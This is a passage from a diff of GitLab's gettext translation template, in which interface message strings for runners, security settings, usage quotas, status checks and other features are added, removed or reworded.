+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28362,6 +28805,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28503,6 +28952,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29028,6 +29507,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,7 +30663,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -30940,9 +31479,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31042,7 +31578,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31382,6 +31930,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32182,9 +32748,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32503,6 +33090,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,7 +34409,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34747,12 +35346,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35149,7 +35754,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,10 +36431,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -35907,6 +36515,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36331,9 +36948,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36439,6 +37053,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36685,9 +37305,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36787,9 +37401,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -36823,18 +37434,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -36880,9 +37479,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37075,9 +37671,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37381,9 +37974,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37609,6 +38199,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37633,6 +38235,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37728,6 +38333,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -37837,6 +38445,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -37849,9 +38460,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
